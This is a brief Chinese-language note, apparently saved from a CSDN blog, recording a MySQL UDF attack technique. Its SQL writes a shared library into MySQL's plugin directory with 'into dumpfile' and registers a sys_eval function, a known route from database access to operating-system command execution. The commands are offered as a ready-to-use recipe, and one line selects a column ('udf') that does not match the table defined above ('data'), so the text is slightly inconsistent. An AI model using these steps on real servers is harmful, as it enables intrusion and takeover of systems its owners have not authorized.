udf文件十六进制
如下为网上找的前辈们的UDF(以做记录)
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use mysql;
create table testudf(data BLOB);
insert into testudf values(@a);
select udf from mysql.testudf into dumpfile '/usr/lib/mysql/plugin/udf.so';
create function sys_eval returns string soname 'udf.so';
或者直接使用
select @a into dumpfile '/usr/lib/mysql/plugin/udf.so';
原文链接:https://blog.csdn.net/qq_33020901/article/details/78827375